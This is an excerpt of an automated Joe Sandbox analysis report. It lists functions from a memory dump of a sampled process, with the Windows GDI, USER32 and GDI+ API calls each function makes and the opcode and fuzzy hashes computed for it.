SelectObject.GDI32(?,00000000), ref: 008B0A9E
BitBlt.GDI32(?,?,?,?,?,?,00000000,00000000,00CC0020), ref: 008B0C00
DeleteObject.GDI32(?), ref: 008B0C43

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CompatibleCreateObject$BitmapDeleteH_prolog3Select
String ID:
API String ID: 3587968642-0
Opcode ID: f2ecae8e53d3ed12d52fd84d57e7ef14365916fabe209d826d3cbc4ed3829ceb
Instruction ID: d969c0e233be72e2c920b473bb1d963694262c84cc8a1e92325485a11112f4cc
Opcode Fuzzy Hash: f2ecae8e53d3ed12d52fd84d57e7ef14365916fabe209d826d3cbc4ed3829ceb
Instruction Fuzzy Hash: 89913772D002199FCF14DFA8C995AEEBBB5FF44314F148229E925EB291DB31A905CF60

Function 008AE160 Relevance: 9.2, APIs: 6, Instructions: 212windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 008AE167
SetRectEmpty.USER32(?), ref: 008AE193
GetWindowRect.USER32(?,?), ref: 008AE241
IsWindowVisible.USER32(?), ref: 008AE25E
__CxxThrowException@8.LIBVCRUNTIME ref: 008AE2FF
SendMessageA.USER32(?,00000085,00000000,00000000), ref: 008AE3E3

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: RectWindow$EmptyException@8H_prolog3_MessageSendThrowVisible
String ID:
API String ID: 1091622338-0
Opcode ID: 2f4c88f0eb009ad50709f58564884e20fa86cbf0e670dc5bcd1b8fa9390d1dac
Instruction ID: 65425dcfa0e1f1e13de3858ee85be71ec98400f0a4f50f03c8ae7b785bd72776
Opcode Fuzzy Hash: 2f4c88f0eb009ad50709f58564884e20fa86cbf0e670dc5bcd1b8fa9390d1dac
Instruction Fuzzy Hash: 74718D70A01218ABDF04EFA8D889BADBBB9FF89750F040069F945EB391DB745D01DB61

Function 008A27D7 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 008A2978
GetParent.USER32(?), ref: 008A2997
GetParent.USER32(?), ref: 008A29A6
RedrawWindow.USER32(?,00000000,00000000,00000505,009F941C,00000000), ref: 008A2A0C
GetParent.USER32(?), ref: 008A2A15
RedrawWindow.USER32(?,00000000,00000000,00000505,00000000), ref: 008A2A3C

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Parent$RedrawWindow
String ID:
API String ID: 2946272266-0
Opcode ID: 6020b83f29b117868454d183d4eda8205c7ad8fbcfb6f987435ac624f64ec5b7
Instruction ID: 9163a68ab88d1fcd0859d50cf97d98b464c3726add64fe40f4e342bf01af535d
Opcode Fuzzy Hash: 6020b83f29b117868454d183d4eda8205c7ad8fbcfb6f987435ac624f64ec5b7
Instruction Fuzzy Hash: B871CF34B10215EFDB059B68D898A7DBBB9FF48310F044069E846DB7A0DB74AE41DF51

Function 008D48BF Relevance: 9.2, APIs: 6, Instructions: 181windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 008D495C
GetCursorPos.USER32(00000000), ref: 008D497D
ScreenToClient.USER32(?,00000000), ref: 008D498A
PtInRect.USER32(?,00000000,00000000), ref: 008D499D
SendMessageA.USER32(00000000,00000000,00A42EF8), ref: 008D49E0
SendMessageA.USER32(?,00000000,00A42EF8), ref: 008D49FD

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: MessageSend$ClientCursorParentRectScreen
String ID:
API String ID: 4164469669-0
Opcode ID: 1d72c55cb504dced165305e5fd5f7dc8f8cad3f5ca6ab52ab8878d7e191fc9fa
Instruction ID: 0ab932130c653a31185f99e7d23ca16a3f7c07b9526a364d7ce91a01cffacc6f
Opcode Fuzzy Hash: 1d72c55cb504dced165305e5fd5f7dc8f8cad3f5ca6ab52ab8878d7e191fc9fa
Instruction Fuzzy Hash: 4161CF35700212FBCB14DFA5D888AAEBBA8FF48310B05427AE91AC7310DB30AD11DF94

Function 0098C38F Relevance: 9.2, APIs: 6, Instructions: 161COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0098C396
CreateCompatibleDC.GDI32(00000000), ref: 0098C3E4
GetBoundsRect.GDI32(?,?,00000000,00000000), ref: 0098C40D
CreateSolidBrush.GDI32 ref: 0098C427
FillRect.USER32(00000000,?,?), ref: 0098C440
FrameRgn.GDI32(00000000,?,?,00000001,00000001), ref: 0098C502

Part of subcall function 0098C5AE: FrameRgn.GDI32(00000000,00000000,00000000,00000001,00000001), ref: 0098C5D9

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CreateFrameRect$BoundsBrushCompatibleFillH_prolog3_Solid
String ID:
API String ID: 2549794613-0
Opcode ID: 0497357047224675ad1648e01f2ba772cf15432cf67b3c6f13b4de68cc0a0abf
Instruction ID: 7203b1a5386c7ec7444890e21a30e82da1c7c326d3f3382a7cf753d4df24cad4
Opcode Fuzzy Hash: 0497357047224675ad1648e01f2ba772cf15432cf67b3c6f13b4de68cc0a0abf
Instruction Fuzzy Hash: 81516CB1914209EFCF11EFA4C885AEEBBB5FF48300F00442AF815B7251DB75AA45DB61

Function 008FE9D8 Relevance: 9.2, APIs: 6, Instructions: 158keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 008FE9F2
GetKeyboardLayout.USER32(?), ref: 008FEA0D
MapVirtualKeyA.USER32(?,00000000), ref: 008FEA29
ToAsciiEx.USER32(?,00000000), ref: 008FEA33
LoadAcceleratorsW.USER32(?,00000000), ref: 008FEAD2
LoadAcceleratorsW.USER32(?,00000000), ref: 008FEB7C

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: AcceleratorsKeyboardLoad$AsciiLayoutStateVirtual
String ID:
API String ID: 40748678-0
Opcode ID: 3463cef8b6ec409bad0769c2673658164b1288adb177ddc980b1c420ba86040f
Instruction ID: 99cca1f4d747698af8cc92d417b40c4f5643c4df043e30d6feed2ff96dfb6979
Opcode Fuzzy Hash: 3463cef8b6ec409bad0769c2673658164b1288adb177ddc980b1c420ba86040f
Instruction Fuzzy Hash: 8D419271610219AFEB14AB79DC89F7E77ACFF44324F048069BA06E71A1EA70DD40CB65

Function 0086AA77 Relevance: 9.1, APIs: 6, Instructions: 135COMMON

Download Yara Rule

APIs

FillRect.USER32(?,?,00000000), ref: 0086AAB6
GetParent.USER32(?), ref: 0086AAD7
GetWindowRect.USER32(?,?), ref: 0086AAF9
GetClientRect.USER32(?,?), ref: 0086ABA1
MapWindowPoints.USER32(?,?,?,00000002), ref: 0086ABB3
DrawThemeBackground.UXTHEME(?,?,00000000,00000000,?,00000000), ref: 0086ABDB

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$Window$BackgroundClientDrawFillParentPointsTheme
String ID:
API String ID: 2136005349-0
Opcode ID: 7084f575985b558b4e8c696b9c468e9a308e37f381079c202837083c5677c0b8
Instruction ID: f5708e1cacc8527e0b63a74b0ccba6d78a35d01f75faf3317738bf1fbb52f10d
Opcode Fuzzy Hash: 7084f575985b558b4e8c696b9c468e9a308e37f381079c202837083c5677c0b8
Instruction Fuzzy Hash: CA51F8B5A00219AFCB14DFA9D9859AEBBF9FF88310B15456AE805E7211E770DD00CFA1

Function 008660F0 Relevance: 9.1, APIs: 6, Instructions: 114COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(1FFFFFFF,?,00000006,?,00000010,00861D2C,?,00925B1C,00000000,00000000,00000000,00000000,00000004,00925AE2,1FFFFFFF,00000000), ref: 0086610B
LoadResource.KERNEL32(1FFFFFFF,00000000,?,00000010,00861D2C,?,00925B1C,00000000,00000000,00000000,00000000,00000004,00925AE2,1FFFFFFF,00000000,00000004), ref: 0086611E
LockResource.KERNEL32(00000000,?,00000010,00861D2C,?,00925B1C,00000000,00000000,00000000,00000000,00000004,00925AE2,1FFFFFFF,00000000,00000004,00000001), ref: 0086612D
SizeofResource.KERNEL32(1FFFFFFF,00000000,?,00000010,00861D2C,?,00925B1C,00000000,00000000,00000000,00000000,00000004,00925AE2,1FFFFFFF,00000000,00000004), ref: 00866143
WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,00000000,00000000,00000000,00000000,00000000,?,00000010,00861D2C,?,00925B1C,00000000,00000000,00000000), ref: 00866184
WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,00000000,00000000,00000000,00000000,00000000,?,00000010,00861D2C,?,00925B1C,00000000,00000000,00000000), ref: 008661BF

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Resource$ByteCharMultiWide$FindLoadLockSizeof
String ID:
API String ID: 1289833662-0
Opcode ID: 7972a8bced551f8c206e3527e44bb8ad24f048b47bc69699ef6946febdd790ce
Instruction ID: c63da63995196b6f1b273f2688bc354a3d555223a0993bd22fe0e6755069f35d
Opcode Fuzzy Hash: 7972a8bced551f8c206e3527e44bb8ad24f048b47bc69699ef6946febdd790ce
Instruction Fuzzy Hash: 9D31D132B00654AFEB228F18DC89B7AB7A8FB41710F11801AF941DF2D1EA71FE11C660

Function 00882CC3 Relevance: 9.1, APIs: 6, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00882CE4
GetWindow.USER32(?,00000005), ref: 00882CFB
GetWindowRect.USER32(00000000,00000000), ref: 00882D1F

Part of subcall function 0087A87E: ScreenToClient.USER32(00000000,?), ref: 0087A88D
Part of subcall function 0087A87E: ScreenToClient.USER32(00000000,?), ref: 0087A89A

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000015,00000000), ref: 00882D45
GetWindow.USER32(00000000,00000002), ref: 00882D4E
ScrollWindow.USER32(?,?,?,?,?), ref: 00882D6A

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$ClientScreen$RectScrollVisible
String ID:
API String ID: 1714389229-0
Opcode ID: b4e4d46210f4124c33a09da59b08f23984d37782eb319efa0abf83e5d5dbc3fa
Instruction ID: b31fbfd281b2c71233fa4d0a8b59f6c5bbc89a9fe75af59e7b02c41bc1a92028
Opcode Fuzzy Hash: b4e4d46210f4124c33a09da59b08f23984d37782eb319efa0abf83e5d5dbc3fa
Instruction Fuzzy Hash: 14315C76610609AFDB11DF64CC88BBEBBB9FF88715F108019F905AB261DB74DE019B60

Function 00898AD5 Relevance: 9.1, APIs: 6, Instructions: 78windowCOMMON

Download Yara Rule

APIs

PatBlt.GDI32(00000000,00000000,?,?,00FF0062), ref: 00898AF9
SetBkColor.GDI32(?), ref: 00898B1F
BitBlt.GDI32(00000000,00000000,?,?,00000020,00000000,00CC0020), ref: 00898B47
SetBkColor.GDI32(?), ref: 00898B60
BitBlt.GDI32(00000000,00000000,?,?,00000020,00000000,00EE0086), ref: 00898B88
BitBlt.GDI32(00000000,00000001,00000001,?,?,00000000,00000000,00000000,008800C6), ref: 00898BB0

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Color
String ID:
API String ID: 2811717613-0
Opcode ID: af809d1e07cf45827fbefe2f759df4d9f36ab10832d7ddb5886141af43bb93af
Instruction ID: df4d77a7f7961ec0cd87241f6a1c7dacef34f9586f19d616cef36b2ab2f18373
Opcode Fuzzy Hash: af809d1e07cf45827fbefe2f759df4d9f36ab10832d7ddb5886141af43bb93af
Instruction Fuzzy Hash: 7E214A39144648FFC7219B9ADD88D57BBBAFBC6B107048519F541DA170CBB2AC91DB20

Function 0087850C Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(00000028,000000F0), ref: 00878544
GetParent.USER32(00000028), ref: 00878552
GetParent.USER32(00000028), ref: 00878569
GetLastActivePopup.USER32(00000028), ref: 0087857C
IsWindowEnabled.USER32(00000028), ref: 00878590
EnableWindow.USER32(00000028,00000000), ref: 008785A3

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 60fe17d5d03e872e8fe0ca99e3be35a916e805988274fa5855c0627ea86192c0
Instruction ID: 1bd2e6402a11ef3ac99422afbd545876b78a16086a0c41a929d9b8a0bcd43592
Opcode Fuzzy Hash: 60fe17d5d03e872e8fe0ca99e3be35a916e805988274fa5855c0627ea86192c0
Instruction Fuzzy Hash: 7F1193B2685621DBD7315B29DCCCB2AB6A8FF14B64B15C215EC0DEB208DF21DE0156D1

Function 009362CF Relevance: 9.1, APIs: 6, Instructions: 67COMMON

Download Yara Rule

APIs

Concurrency::details::ExternalContextBase::~ExternalContextBase.LIBCONCRT ref: 00936364
Concurrency::details::ExternalContextBase::~ExternalContextBase.LIBCONCRT ref: 0093637A
Concurrency::details::ExternalContextBase::~ExternalContextBase.LIBCONCRT ref: 00936385
Concurrency::details::ExternalContextBase::~ExternalContextBase.LIBCONCRT ref: 00936390
Concurrency::details::ExternalContextBase::~ExternalContextBase.LIBCONCRT ref: 0093639B
Concurrency::details::ExternalContextBase::~ExternalContextBase.LIBCONCRT ref: 009363A6

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ContextExternal$BaseBase::~Concurrency::details::
String ID:
API String ID: 1690591649-0
Opcode ID: df4b5c2c5805dfe9c89f15d462f92e2bb3e9c090463b1ceaca90a7b9adc8ea3f
Instruction ID: 4244bdf713d69fee821b4fc0f0a8dc903a850aa2cd1d054a39c8fde8fa5d2a62
Opcode Fuzzy Hash: df4b5c2c5805dfe9c89f15d462f92e2bb3e9c090463b1ceaca90a7b9adc8ea3f
Instruction Fuzzy Hash: 7E218071304905AFC70DFB68C8A1BADF769FB84310F404228E42647291DF75794ACB81

Function 00886C11 Relevance: 9.1, APIs: 6, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000000,00000000), ref: 00886C75
TlsSetValue.KERNEL32(?), ref: 00886CC0
LeaveCriticalSection.KERNEL32(?,?,00000000,?,0087BD82,00000004,00866975,000000A0,0086100C,00000000), ref: 00886CE1
LeaveCriticalSection.KERNEL32(?), ref: 00886CF2
LeaveCriticalSection.KERNEL32(?), ref: 00886D04
__CxxThrowException@8.LIBVCRUNTIME ref: 00886D0E

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CriticalLeaveSection$AllocException@8LocalThrowValue
String ID:
API String ID: 4202424549-0
Opcode ID: bfc8e108c74199ec987f6bdc383732e5b7a15c499f9ca415d654d58a95551c79
Instruction ID: dbab98d5c4d9f8fcc7d3df957493ae73daf429a38b1ec356012f039d1969c1d7
Opcode Fuzzy Hash: bfc8e108c74199ec987f6bdc383732e5b7a15c499f9ca415d654d58a95551c79
Instruction Fuzzy Hash: 06119070500646EFDB25AF28D8C9D2AB7B6FF40314B10C428F49ACA562EB31ED64DB90

Function 00898791 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 226windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00899BE9: GdipGetImagePixelFormat.GDIPLUS(?,00A41C1C,00000000,00000000,?,008987BF,?,00000000,00A41C1C), ref: 00899BF7

GdipBitmapLockBits.GDIPLUS(00000000,?,00000001,?,?,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00A41C1C), ref: 00898999

Part of subcall function 00899BC5: GdipGetImagePaletteSize.GDIPLUS(00000000,00000000,00000000,?,?,00898879,00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00899BD7

GdipBitmapUnlockBits.GDIPLUS(00000000,?,00000000,?,00000001,?,?,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00A41C1C), ref: 00898A4C

Part of subcall function 00896B46: GdipCreateBitmapFromScan0.GDIPLUS(00000000,?,00000000,00000000,00000000,00A41C1C,00000000,?,?,00898A72,?,?,?,00022009,?,00000000), ref: 00896B6D

Part of subcall function 00896D7F: GdipGetImageGraphicsContext.GDIPLUS(?,00A41C1C,00000000,?,?,00898A84,?,?,?,?,00022009,?,00000000,00000000,?,00000000), ref: 00896D99

Part of subcall function 00899815: GdipDrawImageI.GDIPLUS(?,00000000,?,00000000,00000000,?,00898A97,?,00000000,00000000,?,?,?,?,00022009,?), ref: 00899832

GdipDeleteGraphics.GDIPLUS(?,?,00000000,00000000,?,?,?,?,00022009,?,00000000,00000000,?,00000000,00000000,00000000), ref: 00898A9D
GdipDisposeImage.GDIPLUS(?,?,?,00000000,00000000,?,?,?,?,00022009,?,00000000,00000000,?,00000000,00000000), ref: 00898AA8

Strings

&, xrefs: 00898800

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Gdip$Image$Bitmap$BitsGraphics$ContextCreateDeleteDisposeDrawFormatFromLockPalettePixelScan0SizeUnlock
String ID: &
API String ID: 1598553542-3042966939
Opcode ID: 440cf7194cd2fa60d149256ee13e447b532646d161d7a87fa0caa7cc9128c895
Instruction ID: f19c7c39264331b33b1d3cff30b2e9f5bd7a28b1f8bc4eaca03459eeab9f725d
Opcode Fuzzy Hash: 440cf7194cd2fa60d149256ee13e447b532646d161d7a87fa0caa7cc9128c895
